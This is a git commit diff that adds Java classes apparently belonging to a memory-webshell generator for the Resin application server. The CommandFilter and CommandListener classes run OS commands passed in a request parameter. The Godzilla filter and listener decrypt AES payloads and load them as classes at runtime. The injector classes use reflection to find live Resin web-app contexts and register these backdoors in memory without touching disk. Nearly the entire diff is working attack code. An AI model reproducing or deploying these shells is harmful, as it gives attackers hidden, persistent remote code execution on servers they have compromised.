feat: support resin shell generate

2026-09-22 15:10:43 +08:00 · 2024-12-14 19:33:19 +08:00
parent 6a5858ab2f
commit 8a709a1f23
15 changed files with 1153 additions and 0 deletions
@@ -0,0 +1,42 @@
+package com.reajason.javaweb.memsell.resin;
+
+import com.reajason.javaweb.config.Constants;
+import com.reajason.javaweb.config.ShellTool;
+import com.reajason.javaweb.memsell.AbstractShell;
+import com.reajason.javaweb.memsell.resin.command.CommandFilter;
+import com.reajason.javaweb.memsell.resin.command.CommandListener;
+import com.reajason.javaweb.memsell.resin.godzilla.GodzillaFilter;
+import com.reajason.javaweb.memsell.resin.godzilla.GodzillaListener;
+import com.reajason.javaweb.memsell.resin.injector.ResinFilterInjector;
+import com.reajason.javaweb.memsell.resin.injector.ResinListenerInjector;
+import org.apache.commons.lang3.tuple.Pair;
+
+import java.util.List;
+import java.util.Map;
+
+/**
+ * @author ReaJason
+ * @since 2024/12/14
+ */
+public class ResinShell extends AbstractShell {
+    @Override
+    public List<ShellTool> getSupportedShellTools() {
+        return List.of(ShellTool.Godzilla, ShellTool.Command);
+    }
+
+    @Override
+    protected Map<String, Pair<Class<?>, Class<?>>> getCommandShellMap() {
+        return Map.of(
+                Constants.FILTER, Pair.of(CommandFilter.class, ResinFilterInjector.class),
+                Constants.LISTENER, Pair.of(CommandListener.class, ResinListenerInjector.class)
+        );
+    }
+
+    @Override
+    protected Map<String, Pair<Class<?>, Class<?>>> getGodzillaShellMap() {
+        return Map.of(
+                Constants.FILTER, Pair.of(GodzillaFilter.class, ResinFilterInjector.class),
+                Constants.LISTENER, Pair.of(GodzillaListener.class, ResinListenerInjector.class)
+        );
+    }
+}
@@ -0,0 +1,48 @@
+package com.reajason.javaweb.memsell.resin.command;
+
+import javax.servlet.*;
+import javax.servlet.http.HttpServletRequest;
+import javax.servlet.http.HttpServletResponse;
+import java.io.IOException;
+import java.io.InputStream;
+
+/**
+ * @author ReaJason
+ * @since 2024/11/24
+ */
+public class CommandFilter implements Filter {
+    public String paramName = "{{paramName}}";
+
+    @Override
+    public void init(FilterConfig filterConfig) throws ServletException {
+
+    }
+
+    @Override
+    public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
+        HttpServletRequest servletRequest = (HttpServletRequest) request;
+        HttpServletResponse servletResponse = (HttpServletResponse) response;
+        String cmd = servletRequest.getParameter(paramName);
+        try {
+            if (cmd != null) {
+                Process exec = Runtime.getRuntime().exec(cmd);
+                InputStream inputStream = exec.getInputStream();
+                ServletOutputStream outputStream = servletResponse.getOutputStream();
+                byte[] buf = new byte[8192];
+                int length;
+                while ((length = inputStream.read(buf)) != -1) {
+                    outputStream.write(buf, 0, length);
+                }
+            } else {
+                chain.doFilter(servletRequest, servletResponse);
+            }
+        } catch (Exception e) {
+            chain.doFilter(servletRequest, servletResponse);
+        }
+    }
+
+    @Override
+    public void destroy() {
+
+    }
+}
@@ -0,0 +1,70 @@
+package com.reajason.javaweb.memsell.resin.command;
+
+import javax.servlet.ServletOutputStream;
+import javax.servlet.ServletRequestEvent;
+import javax.servlet.ServletRequestListener;
+import javax.servlet.http.HttpServletRequest;
+import javax.servlet.http.HttpServletResponse;
+import java.io.InputStream;
+import java.lang.reflect.Field;
+
+/**
+ * @author ReaJason
+ */
+public class CommandListener implements ServletRequestListener {
+    public String paramName = "{{paramName}}";
+
+    public CommandListener() {
+    }
+
+    @SuppressWarnings("all")
+    public static synchronized Object getFieldValue(Object obj, String name) throws Exception {
+        Field field = null;
+        Class<?> clazz = obj.getClass();
+        while (clazz != Object.class) {
+            try {
+                field = clazz.getDeclaredField(name);
+                break;
+            } catch (NoSuchFieldException var5) {
+                clazz = clazz.getSuperclass();
+            }
+        }
+        if (field == null) {
+            throw new NoSuchFieldException(name);
+        } else {
+            field.setAccessible(true);
+            return field.get(obj);
+        }
+    }
+
+    @Override
+    public void requestDestroyed(ServletRequestEvent sre) {
+
+    }
+
+    @Override
+    public void requestInitialized(ServletRequestEvent servletRequestEvent) {
+        HttpServletRequest request = (HttpServletRequest) servletRequestEvent.getServletRequest();
+        try {
+            String cmd = request.getParameter(paramName);
+            if (cmd != null) {
+                HttpServletResponse servletResponse = this.getResponseFromRequest(request);
+                Process exec = Runtime.getRuntime().exec(cmd);
+                InputStream inputStream = exec.getInputStream();
+                ServletOutputStream outputStream = servletResponse.getOutputStream();
+                byte[] buf = new byte[8192];
+                int length;
+                while ((length = inputStream.read(buf)) != -1) {
+                    outputStream.write(buf, 0, length);
+                }
+            }
+        } catch (Exception ignored) {
+        }
+    }
+
+    private HttpServletResponse getResponseFromRequest(HttpServletRequest request) throws Exception {
+        HttpServletResponse response = null;
+        response = (HttpServletResponse) getFieldValue(request, "_response");
+        return response;
+    }
+}
@@ -0,0 +1,127 @@
+package com.reajason.javaweb.memsell.resin.godzilla;
+
+import javax.crypto.Cipher;
+import javax.crypto.spec.SecretKeySpec;
+import javax.servlet.*;
+import javax.servlet.http.HttpServletRequest;
+import javax.servlet.http.HttpServletResponse;
+import javax.servlet.http.HttpSession;
+import java.io.ByteArrayOutputStream;
+import java.io.IOException;
+
+/**
+ * @author ReaJason
+ */
+public class GodzillaFilter extends ClassLoader implements Filter {
+    public String key = "{{key}}";
+    public String pass = "{{pass}}";
+    public String md5 = "{{md5}}";
+    public String headerName = "{{headerName}}";
+    public String headerValue = "{{headerValue}}";
+
+    public GodzillaFilter() {
+    }
+
+    public GodzillaFilter(ClassLoader z) {
+        super(z);
+    }
+
+    @SuppressWarnings("all")
+    public static String base64Encode(byte[] bs) throws Exception {
+        String value = null;
+        Class<?> base64;
+        try {
+            base64 = Class.forName("java.util.Base64");
+            Object encoder = base64.getMethod("getEncoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
+            value = (String) encoder.getClass().getMethod("encodeToString", byte[].class).invoke(encoder, bs);
+        } catch (Exception var6) {
+            try {
+                base64 = Class.forName("sun.misc.BASE64Encoder");
+                Object encoder = base64.newInstance();
+                value = (String) encoder.getClass().getMethod("encode", byte[].class).invoke(encoder, bs);
+            } catch (Exception ignored) {
+            }
+        }
+        return value;
+    }
+
+    @SuppressWarnings("all")
+    public static byte[] base64Decode(String bs) {
+        byte[] value = null;
+        Class<?> base64;
+        try {
+            base64 = Class.forName("java.util.Base64");
+            Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
+            value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
+        } catch (Exception var6) {
+            try {
+                base64 = Class.forName("sun.misc.BASE64Decoder");
+                Object decoder = base64.newInstance();
+                value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
+            } catch (Exception ignored) {
+            }
+        }
+        return value;
+    }
+
+    @SuppressWarnings("all")
+    public Class<?> Q(byte[] cb) {
+        return super.defineClass(cb, 0, cb.length);
+    }
+
+    public byte[] x(byte[] s, boolean m) {
+        try {
+
+            Cipher c = Cipher.getInstance("AES");
+            c.init(m ? 1 : 2, new SecretKeySpec(key.getBytes(), "AES"));
+            return c.doFinal(s);
+        } catch (Exception var4) {
+            return null;
+        }
+    }
+
+    @Override
+    @SuppressWarnings("all")
+    public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain chain) throws ServletException, IOException {
+        HttpServletRequest request = (HttpServletRequest) servletRequest;
+        HttpServletResponse response = (HttpServletResponse) servletResponse;
+        try {
+            if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) {
+                HttpSession session = request.getSession();
+                byte[] data = base64Decode(request.getParameter(pass));
+                data = this.x(data, false);
+                if (session.getAttribute("payload") == null) {
+                    session.setAttribute("payload", (new GodzillaFilter(this.getClass().getClassLoader())).Q(data));
+                } else {
+                    request.setAttribute("parameters", data);
+                    ByteArrayOutputStream arrOut = new ByteArrayOutputStream();
+                    Object f;
+                    try {
+                        f = ((Class<?>) session.getAttribute("payload")).newInstance();
+                    } catch (InstantiationException | IllegalAccessException e) {
+                        throw new RuntimeException(e);
+                    }
+                    f.equals(arrOut);
+                    f.equals(request);
+                    response.getWriter().write(md5.substring(0, 16));
+                    f.toString();
+                    response.getWriter().write(base64Encode(this.x(arrOut.toByteArray(), true)));
+                    response.getWriter().write(md5.substring(16));
+                }
+
+            } else {
+                chain.doFilter(servletRequest, servletResponse);
+            }
+        } catch (Exception e) {
+            chain.doFilter(servletRequest, servletResponse);
+        }
+    }
+
+    @Override
+    public void init(FilterConfig filterConfig) throws ServletException {
+    }
+
+    @Override
+    public void destroy() {
+    }
+}
@@ -0,0 +1,144 @@
+package com.reajason.javaweb.memsell.resin.godzilla;
+
+import javax.crypto.Cipher;
+import javax.crypto.spec.SecretKeySpec;
+import javax.servlet.ServletRequestEvent;
+import javax.servlet.ServletRequestListener;
+import javax.servlet.http.HttpServletRequest;
+import javax.servlet.http.HttpServletResponse;
+import javax.servlet.http.HttpSession;
+import java.io.ByteArrayOutputStream;
+import java.lang.reflect.Field;
+
+/**
+ * @author ReaJason
+ */
+public class GodzillaListener extends ClassLoader implements ServletRequestListener {
+    public String key = "{{key}}";
+    public String pass = "{{pass}}";
+    public String md5 = "{{md5}}";
+    public String headerName = "{{headerName}}";
+    public String headerValue = "{{headerValue}}";
+
+    public GodzillaListener() {
+    }
+
+    public GodzillaListener(ClassLoader z) {
+        super(z);
+    }
+
+    @SuppressWarnings("all")
+    public static synchronized Object getFieldValue(Object obj, String name) throws Exception {
+        Field field = null;
+        Class<?> clazz = obj.getClass();
+        while (clazz != Object.class) {
+            try {
+                field = clazz.getDeclaredField(name);
+                break;
+            } catch (NoSuchFieldException var5) {
+                clazz = clazz.getSuperclass();
+            }
+        }
+        if (field == null) {
+            throw new NoSuchFieldException(name);
+        } else {
+            field.setAccessible(true);
+            return field.get(obj);
+        }
+    }
+
+    @SuppressWarnings("all")
+    public static String base64Encode(byte[] bs) throws Exception {
+        String value = null;
+        Class<?> base64;
+        try {
+            base64 = Class.forName("java.util.Base64");
+            Object encoder = base64.getMethod("getEncoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
+            value = (String) encoder.getClass().getMethod("encodeToString", byte[].class).invoke(encoder, bs);
+        } catch (Exception var6) {
+            try {
+                base64 = Class.forName("sun.misc.BASE64Encoder");
+                Object encoder = base64.newInstance();
+                value = (String) encoder.getClass().getMethod("encode", byte[].class).invoke(encoder, bs);
+            } catch (Exception ignored) {
+            }
+        }
+        return value;
+    }
+
+    @SuppressWarnings("all")
+    public static byte[] base64Decode(String bs) {
+        byte[] value = null;
+        Class<?> base64;
+        try {
+            base64 = Class.forName("java.util.Base64");
+            Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
+            value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
+        } catch (Exception var6) {
+            try {
+                base64 = Class.forName("sun.misc.BASE64Decoder");
+                Object decoder = base64.newInstance();
+                value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
+            } catch (Exception ignored) {
+            }
+        }
+        return value;
+    }
+
+    @SuppressWarnings("deprecation")
+    public Class<?> Q(byte[] cb) {
+        return super.defineClass(cb, 0, cb.length);
+    }
+
+    public byte[] x(byte[] s, boolean m) {
+        try {
+            Cipher c = Cipher.getInstance("AES");
+            c.init(m ? 1 : 2, new SecretKeySpec(key.getBytes(), "AES"));
+            return c.doFinal(s);
+        } catch (Exception var4) {
+            return null;
+        }
+    }
+
+    @Override
+    public void requestDestroyed(ServletRequestEvent servletRequestEvent) {
+    }
+
+    @Override
+    @SuppressWarnings("all")
+    public void requestInitialized(ServletRequestEvent servletRequestEvent) {
+        HttpServletRequest request = (HttpServletRequest) servletRequestEvent.getServletRequest();
+        try {
+            if (request.getHeader(headerName) != null
+                    && request.getHeader(headerName).contains(headerValue)) {
+                HttpServletResponse response = this.getResponseFromRequest(request);
+                HttpSession session = request.getSession();
+                byte[] data = base64Decode(request.getParameter(pass));
+                data = this.x(data, false);
+                if (session.getAttribute("payload") == null) {
+                    session.setAttribute(
+                            "payload",
+                            (new GodzillaListener(this.getClass().getClassLoader())).Q(data));
+                } else {
+                    request.setAttribute("parameters", data);
+                    ByteArrayOutputStream arrOut = new ByteArrayOutputStream();
+                    Object f = ((Class<?>) session.getAttribute("payload")).newInstance();
+                    f.equals(arrOut);
+                    f.equals(request);
+                    response.getWriter().write(md5.substring(0, 16));
+                    f.toString();
+                    response.getWriter().write(base64Encode(this.x(arrOut.toByteArray(), true)));
+                    response.getWriter().write(md5.substring(16));
+                    response.flushBuffer();
+                }
+            }
+        } catch (Exception ignored) {
+        }
+    }
+
+    private HttpServletResponse getResponseFromRequest(HttpServletRequest request) throws Exception {
+        HttpServletResponse response = null;
+        response = (HttpServletResponse) getFieldValue(request, "_response");
+        return response;
+    }
+}
@@ -0,0 +1,221 @@
+package com.reajason.javaweb.memsell.resin.injector;
+
+import java.io.ByteArrayInputStream;
+import java.io.ByteArrayOutputStream;
+import java.io.IOException;
+import java.lang.reflect.Field;
+import java.lang.reflect.InvocationTargetException;
+import java.lang.reflect.Method;
+import java.util.*;
+import java.util.zip.GZIPInputStream;
+
+/**
+ * @author ReaJason
+ */
+public class ResinFilterInjector {
+
+    static {
+        new ResinFilterInjector();
+    }
+
+    public String getUrlPattern() {
+        return "{{urlPattern}}";
+    }
+
+
+    public String getClassName() {
+        return "{{className}}";
+    }
+
+    public String getBase64String() throws IOException {
+        return "{{base64Str}}";
+    }
+
+    public ResinFilterInjector() {
+        try {
+            List<Object> contexts = getContext();
+            for (Object context : contexts) {
+                Object filter = getFilter(context);
+                addFilter(context, filter);
+            }
+        } catch (Exception e) {
+            e.printStackTrace();
+        }
+
+    }
+
+    private void addFilter(Object context, Object filter) throws Exception {
+        String filterClassName = filter.getClass().getName();
+        if (isInjected(context, filterClassName)) {
+            System.out.println("filter already injected");
+            return;
+        }
+        try {
+            Class<?> filterMappingClass;
+            try {
+                filterMappingClass = Thread.currentThread().getContextClassLoader().loadClass("com.caucho.server.dispatch.FilterMapping");
+            } catch (Exception e) {
+                filterMappingClass = context.getClass().getClassLoader().loadClass("com.caucho.server.dispatch.FilterMapping");
+            }
+            Object filterMappingImpl = filterMappingClass.newInstance();
+            invokeMethod(filterMappingImpl, "setFilterName", new Class[]{String.class}, new Object[]{filterClassName});
+            invokeMethod(filterMappingImpl, "setFilterClass", new Class[]{String.class}, new Object[]{filterClassName});
+            Object urlPattern = invokeMethod(filterMappingImpl, "createUrlPattern");
+            invokeMethod(urlPattern, "addText", new Class[]{String.class}, new Object[]{getUrlPattern()});
+            invokeMethod(urlPattern, "init");
+            invokeMethod(context, "addFilterMapping", new Class[]{filterMappingClass}, new Object[]{filterMappingImpl});
+            invokeMethod(context, "clearCache");
+            System.out.println("filter injected");
+        } catch (Throwable e) {
+            System.out.println("filter inject failed");
+            e.printStackTrace();
+        }
+    }
+
+    public List<Object> getContext() {
+        Set<Object> contexts = new HashSet<Object>();
+        try {
+            Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads", new Class[0], new Object[0]);
+            for (Thread thread : threads) {
+                Class<?> servletInvocationClass = null;
+                try {
+                    servletInvocationClass = thread.getContextClassLoader().loadClass("com.caucho.server.dispatch.ServletInvocation");
+                } catch (Exception e) {
+                    continue;
+                }
+                if (servletInvocationClass != null) {
+                    Object contextRequest = servletInvocationClass.getMethod("getContextRequest").invoke(null);
+                    Object webApp = invokeMethod(contextRequest, "getWebApp", new Class[0], new Object[0]);
+                    if (webApp != null) {
+                        contexts.add(webApp);
+                    }
+                }
+            }
+        } catch (Exception e) {
+            e.printStackTrace();
+        }
+        return Arrays.asList(contexts.toArray());
+    }
+
+    private Object getFilter(Object context) {
+        Object filter = null;
+        ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
+        if (classLoader == null) {
+            classLoader = context.getClass().getClassLoader();
+        }
+        try {
+            filter = classLoader.loadClass(getClassName()).newInstance();
+        } catch (Exception e) {
+            try {
+                byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
+                Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
+                defineClass.setAccessible(true);
+                Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
+                filter = clazz.newInstance();
+            } catch (Throwable tt) {
+            }
+        }
+        return filter;
+    }
+
+    public boolean isInjected(Object context, String evilClassName) throws Exception {
+        Map<String, Object> filters = (Map) getFV(getFV(context, "_filterManager"), "_filters");
+        for (String key : filters.keySet()) {
+            if (key.contains(evilClassName)) {
+                return true;
+            }
+        }
+        return false;
+    }
+
+    static byte[] decodeBase64(String base64Str) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
+        Class<?> decoderClass;
+        try {
+            decoderClass = Class.forName("sun.misc.BASE64Decoder");
+            return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
+        } catch (Exception ignored) {
+            decoderClass = Class.forName("java.util.Base64");
+            Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
+            return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
+        }
+    }
+
+    public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
+        ByteArrayOutputStream out = new ByteArrayOutputStream();
+        ByteArrayInputStream in = new ByteArrayInputStream(compressedData);
+        GZIPInputStream ungzip = new GZIPInputStream(in);
+        byte[] buffer = new byte[256];
+        int n;
+        while ((n = ungzip.read(buffer)) >= 0) {
+            out.write(buffer, 0, n);
+        }
+        return out.toByteArray();
+    }
+
+    static Object getFV(Object obj, String fieldName) throws Exception {
+        Field field = getF(obj, fieldName);
+        field.setAccessible(true);
+        return field.get(obj);
+    }
+
+    static Field getF(Object obj, String fieldName) throws NoSuchFieldException {
+        Class<?> clazz = obj.getClass();
+        while (clazz != null) {
+            try {
+                Field field = clazz.getDeclaredField(fieldName);
+                field.setAccessible(true);
+                return field;
+            } catch (NoSuchFieldException e) {
+                clazz = clazz.getSuperclass();
+            }
+        }
+        throw new NoSuchFieldException(fieldName);
+    }
+
+    static synchronized Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException {
+        return invokeMethod(targetObject, methodName, new Class[0], new Object[0]);
+    }
+
+    public static synchronized Object invokeMethod(final Object obj, final String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
+        Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass();
+        Method method = null;
+
+        Class tempClass = clazz;
+        while (method == null && tempClass != null) {
+            try {
+                if (paramClazz == null) {
+                    // Get all declared methods of the class
+                    Method[] methods = tempClass.getDeclaredMethods();
+                    for (int i = 0; i < methods.length; i++) {
+                        if (methods[i].getName().equals(methodName) && methods[i].getParameterTypes().length == 0) {
+                            method = methods[i];
+                            break;
+                        }
+                    }
+                } else {
+                    method = tempClass.getDeclaredMethod(methodName, paramClazz);
+                }
+            } catch (NoSuchMethodException e) {
+                tempClass = tempClass.getSuperclass();
+            }
+        }
+        if (method == null) {
+            throw new NoSuchMethodException(methodName);
+        }
+        method.setAccessible(true);
+        if (obj instanceof Class) {
+            try {
+                return method.invoke(null, param);
+            } catch (IllegalAccessException e) {
+                throw new RuntimeException(e.getMessage());
+            }
+        } else {
+            try {
+                return method.invoke(obj, param);
+            } catch (IllegalAccessException e) {
+                throw new RuntimeException(e.getMessage());
+            }
+        }
+    }
+
+}
@@ -0,0 +1,194 @@
+package com.reajason.javaweb.memsell.resin.injector;
+
+import java.io.ByteArrayInputStream;
+import java.io.ByteArrayOutputStream;
+import java.io.IOException;
+import java.lang.reflect.Field;
+import java.lang.reflect.InvocationTargetException;
+import java.lang.reflect.Method;
+import java.util.*;
+import java.util.zip.GZIPInputStream;
+
+/**
+ * @author ReaJason
+ */
+public class ResinListenerInjector {
+    public String getClassName() {
+        return "{{className}}";
+    }
+
+    public String getBase64String() throws IOException {
+        return "{{base64Str}}";
+    }
+
+    static {
+        new ResinListenerInjector();
+    }
+
+    public ResinListenerInjector() {
+        try {
+            List<Object> contexts = getContext();
+            for (Object context : contexts) {
+                Object listener = getListener(context);
+                injectListener(context, listener);
+            }
+        } catch (Exception e) {
+            e.printStackTrace();
+        }
+
+    }
+
+    private void injectListener(Object context, Object listener) throws Exception {
+        if (!isInjected(context, listener.getClass().getName())) {
+            invokeMethod(context, "addListenerObject", new Class[]{Object.class, boolean.class}, new Object[]{listener, true});
+            // 清除缓存，否则某些 uri 无法连接
+            invokeMethod(context, "clearCache");
+        }
+    }
+
+    public List<Object> getContext() {
+        Set<Object> contexts = new HashSet<Object>();
+        try {
+            Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads", new Class[0], new Object[0]);
+            for (Thread thread : threads) {
+                Class<?> servletInvocationClass = null;
+                try {
+                    servletInvocationClass = thread.getContextClassLoader().loadClass("com.caucho.server.dispatch.ServletInvocation");
+                } catch (Exception e) {
+                    continue;
+                }
+                if (servletInvocationClass != null) {
+                    Object contextRequest = servletInvocationClass.getMethod("getContextRequest").invoke(null);
+                    Object webApp = invokeMethod(contextRequest, "getWebApp", new Class[0], new Object[0]);
+                    if (webApp != null) {
+                        contexts.add(webApp);
+                    }
+                }
+            }
+        } catch (Exception e) {
+            // Handle exception
+        }
+        return Arrays.asList(contexts.toArray());
+    }
+
+    private Object getListener(Object context) {
+        Object listener = null;
+        ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
+        if (classLoader == null) {
+            classLoader = context.getClass().getClassLoader();
+        }
+        try {
+            listener = classLoader.loadClass(getClassName()).newInstance();
+        } catch (Exception e) {
+            try {
+                byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
+                Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
+                defineClass.setAccessible(true);
+                Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
+                listener = clazz.newInstance();
+            } catch (Throwable tt) {
+            }
+        }
+        return listener;
+    }
+
+    public boolean isInjected(Object context, String evilClassName) throws Exception {
+        List arrayList = (ArrayList) getFV(context, "_requestListeners");
+        for (Object o : arrayList) {
+            if (o.getClass().getName().contains(evilClassName)) {
+                return true;
+            }
+        }
+        return false;
+    }
+
+    static byte[] decodeBase64(String base64Str) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
+        Class<?> decoderClass;
+        try {
+            decoderClass = Class.forName("sun.misc.BASE64Decoder");
+            return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
+        } catch (Exception ignored) {
+            decoderClass = Class.forName("java.util.Base64");
+            Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
+            return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
+        }
+    }
+
+    public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
+        ByteArrayOutputStream out = new ByteArrayOutputStream();
+        ByteArrayInputStream in = new ByteArrayInputStream(compressedData);
+        GZIPInputStream ungzip = new GZIPInputStream(in);
+        byte[] buffer = new byte[256];
+        int n;
+        while ((n = ungzip.read(buffer)) >= 0) {
+            out.write(buffer, 0, n);
+        }
+        return out.toByteArray();
+    }
+
+    static Object getFV(Object obj, String fieldName) throws Exception {
+        Field field = getF(obj, fieldName);
+        field.setAccessible(true);
+        return field.get(obj);
+    }
+
+    static Field getF(Object obj, String fieldName) throws NoSuchFieldException {
+        Class<?> clazz = obj.getClass();
+        while (clazz != null) {
+            try {
+                Field field = clazz.getDeclaredField(fieldName);
+                field.setAccessible(true);
+                return field;
+            } catch (NoSuchFieldException e) {
+                clazz = clazz.getSuperclass();
+            }
+        }
+        throw new NoSuchFieldException(fieldName);
+    }
+
+    static synchronized Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException {
+        return invokeMethod(targetObject, methodName, new Class[0], new Object[0]);
+    }
+
+    public static synchronized Object invokeMethod(final Object obj, final String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
+        Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass();
+        Method method = null;
+
+        Class tempClass = clazz;
+        while (method == null && tempClass != null) {
+            try {
+                if (paramClazz == null) {
+                    // Get all declared methods of the class
+                    Method[] methods = tempClass.getDeclaredMethods();
+                    for (int i = 0; i < methods.length; i++) {
+                        if (methods[i].getName().equals(methodName) && methods[i].getParameterTypes().length == 0) {
+                            method = methods[i];
+                            break;
+                        }
+                    }
+                } else {
+                    method = tempClass.getDeclaredMethod(methodName, paramClazz);
+                }
+            } catch (NoSuchMethodException e) {
+                tempClass = tempClass.getSuperclass();
+            }
+        }
+        if (method == null) {
+            throw new NoSuchMethodException(methodName);
+        }
+        method.setAccessible(true);
+        if (obj instanceof Class) {
+            try {
+                return method.invoke(null, param);
+            } catch (IllegalAccessException e) {
+                throw new RuntimeException(e.getMessage());
+            }
+        } else {
+            try {
+                return method.invoke(obj, param);
+            } catch (IllegalAccessException e) {
+                throw new RuntimeException(e.getMessage());
+            }
+        }
+    }
+}